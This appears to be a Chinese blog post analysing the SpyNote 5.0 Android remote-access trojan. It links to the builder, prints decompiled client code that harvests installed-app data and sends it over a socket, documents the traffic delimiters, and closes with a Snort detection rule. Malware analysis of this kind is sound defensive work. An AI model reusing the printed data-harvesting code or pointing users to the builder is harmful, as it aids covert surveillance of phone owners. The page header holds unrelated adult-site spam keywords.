91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么進行SpyNote5.0 Client_APK逆向分析

發布時間:2022-01-18 15:18:05 來源:億速云 閱讀:180 作者:柒染 欄目:網絡安全

今天就跟大家聊聊有關怎么進行SpyNote5.0 Client_APK逆向分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

1. SpyNote5.0 是什么?

SpyNote是用來創建Android惡意程序的工具。它的功能引人注目,讀取聯系人、錄音、命令執行、應用管理、鍵盤記錄、GPS定位等等。這些功能對于研究安Android端惡意程序起到承上啟下的作用。咱們能夠通過一系列文章對于它的使用初步了解,《SpyNote V5.0圖形化工具遠程管理Android手機教程》、《小心,Android木馬工具SpyNote免費啦!遠程監聽就是這么簡單》、《當心,安卓遠控(spynote)升級了……》等等。

2. 準備工具

對于SpyNote5.0 Client_APK的逆向分析卻鮮有人問津,下面我簡單介紹使用工具,然后開始進入逆向分析環節。

1、SpyNote5.0

下載地址:https://github.com/soDLL/SpyNote OR https://github.com/miladzero/SpyNote

怎么進行SpyNote5.0 Client_APK逆向分析

2、jadx-gui

下載地址: https://github.com/skylot/jadx/releases

怎么進行SpyNote5.0 Client_APK逆向分析

3、androidkiller

下載地址: https://www.guguzhu.com/soft/270509.html

怎么進行SpyNote5.0 Client_APK逆向分析

3. 開始逆向分析

咱們開始對于Client_APK進行分析,通常喜歡將客戶端生成的APK程序拖入androidkiller。拖入程序后androidkiller會自動進行反匯編,然后有程序分析結果。

怎么進行SpyNote5.0 Client_APK逆向分析

在左側按照繼承關系分類Activity、Receiver、Service和應用權限(Uses-Permisson),能夠看到客戶端需要的應用權限很多。右側則是smail匯編窗口和工作臺。通過這個工具能清楚看到權限以及各類繼承關系,但是工具版本比較低,代碼還原的不完善。我將工具換成jadx-gui,然后繼續開始逆向分析,將Client_APK導入。

怎么進行SpyNote5.0 Client_APK逆向分析

咱們能看到三個包,分別是android.support,con.eset.ems2.gp,yps.eton.application。其中android.support為安卓本支持包其中包括低版本、v4、v7,con.eset.ems2.gp為配置包里面包含了host、client_name等信息,yps.eton.application則是咱們需要分析的。

打開yps.eton.application,咱們能看到14個類,由于需要分析的代碼比較多,所以有針對性的對于部分關鍵代碼進行分析。

怎么進行SpyNote5.0 Client_APK逆向分析

通過之前androidkiller分析結構能夠看到,A、F、G、k 這個寫類繼承了Service,Service 在安卓系統中代表后臺持續運行。咱們不妨猜下,Client_APK中需要持續運行的可能會有什么?也許是關鍵對象會持續運行、受控、監聽、多線程等等。咱們本次分析的重點是它部分功能以及如何識別流量。

3.1命令執行啟動分析

咱們從A方法開始,A方法開始啟動服務,遍歷了R對象,取第三個元素,如果他等于1則執行j()。否則在判斷a()是否已經被實例化后啟動服務。在之后會繼續判斷j()是否具備root權限。

怎么進行SpyNote5.0 Client_APK逆向分析

繼續看j(),j()中使用執行su命令后,將Do I have root?寫入文件/system/sd/temporary.txt,對于是否為root權限進行了判斷。

怎么進行SpyNote5.0 Client_APK逆向分析

接著看h(),之中使用了多線程,獲取R對象中的存儲的配置參數,采用循環和socket回傳信息。

怎么進行SpyNote5.0 Client_APK逆向分析

3.2 Base64編碼應用部分功能分析

在查看A對象的導入列表時候發現之中包含android.util.Base64,說明在運行之中使用了base64編碼。緊接著搜索關鍵字Base64,能夠看到Base64包裹著((BitmapDrawable) applicationIcon).getBitmap(),其實內部就是應用圖標。客戶端將一些信息通過c0c1c3a2c0c1c分割以9xf89fff9xf89結尾進行傳遞,對于異常信息和選項采用fxf0x4x4x0fxf分割傳遞。



public void k() {        new Thread(new Runnable() {            public void run() {                String str;                try {                    StringBuffer stringBuffer = new StringBuffer();                    PackageManager packageManager = A.this.getApplicationContext().getPackageManager();                    for (ApplicationInfo applicationInfo : packageManager.getInstalledApplications(128)) {                        if (packageManager.getLaunchIntentForPackage(applicationInfo.packageName) != null && !packageManager.getLaunchIntentForPackage(applicationInfo.packageName).equals("")) {                            try {                                Date date = new Date(packageManager.getPackageInfo(applicationInfo.packageName, 4096).firstInstallTime);                                String str2 = packageManager.getLaunchIntentForPackage(applicationInfo.packageName) != null ? (applicationInfo.flags & 1) == 1 ? "system" : "user" : "";                                Drawable applicationIcon = packageManager.getApplicationIcon(applicationInfo.packageName);                                String str3 = new String();                                if (applicationIcon != null) {                                    Bitmap bitmap = ((BitmapDrawable) applicationIcon).getBitmap();                                    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();                                    bitmap.compress(CompressFormat.JPEG, 50, byteArrayOutputStream);                                    str = Base64.encodeToString(byteArrayOutputStream.toByteArray(), 2);                                } else {                                    str = str3;                                }                                stringBuffer.append(packageManager.getApplicationLabel(applicationInfo) + "c0c1c3a2c0c1c" + applicationInfo.packageName + "c0c1c3a2c0c1c" + str + "c0c1c3a2c0c1c" + str2 + "c0c1c3a2c0c1c" + date.toString() + "c0c1c3a2c0c1c" + A.this.getPackageName() + "9xf89fff9xf89");                            } catch (NameNotFoundException e) {                                A.this.h("applicationsfxf0x4x4x0fxf[My/Exception]" + e.getMessage().toString());                            }                        }                    }                    A.this.h("applicationsfxf0x4x4x0fxf" + stringBuffer.toString());                } catch (Exception e2) {                    A.this.h("applicationsfxf0x4x4x0fxf[My/Exception]" + e2.getMessage().toString());                }            }        }).start();    }

3.3 信息獲取部分功能分析

b方法是A對象中最長的方法,里面包含著switch case語句分支太多導致反匯編異常。觀察注釋不難看出,里面實現了大多數的獲取信息的邏輯。例如:Device info、System info、Sim info、WIFI info等等,包含了工具所宣傳的功能。

怎么進行SpyNote5.0 Client_APK逆向分析

在b方法的重寫里面有些地方值得注意,這里用于獲取存儲路徑。傳輸路徑信息的分隔符使用e1x1114x61114e。文件名信息分隔符使用-1c0c1c3a2c0c1c-1c0c1c3a2c0c1c-1c0c1c3a2c0c1c。通過這些信息能夠較為準確的判斷客戶端傳遞時的操作。

怎么進行SpyNote5.0 Client_APK逆向分析

4. 總結

在分析過程中能夠看到各個功能的實現。Client使用了未加密和Base編碼傳輸,傳輸過程中最明顯的是分割符號。通過程序能夠有效地判斷,Client的傳輸行為。于是對于傳輸過程進行抓包。

怎么進行SpyNote5.0 Client_APK逆向分析

圖中明顯看到分隔符號和base64編碼內容。對于這點咱們可以在Snort中編寫規則進行識別,識別示例:

alert tcp any any -> any any (content:"fxf0x4x4x0fxf"; sid:1; msg:SpyNote5.0 Client;)

看完上述內容,你們對怎么進行SpyNote5.0 Client_APK逆向分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

循化| 泽普县| 临澧县| 道真| 南澳县| 寻乌县| 安阳县| 长宁区| 澎湖县| 眉山市| 潍坊市| 定边县| 开封县| 威远县| 耿马| 阳原县| 延吉市| 芒康县| 乌兰察布市| 南宁市| 布拖县| 罗平县| 天峨县| 确山县| 上饶市| 余姚市| 玉田县| 临潭县| 新丰县| 河间市| 昌都县| 泰兴市| 勐海县| 青冈县| 舟曲县| 龙泉市| 麻栗坡县| 怀远县| 溆浦县| 阿图什市| 汉川市|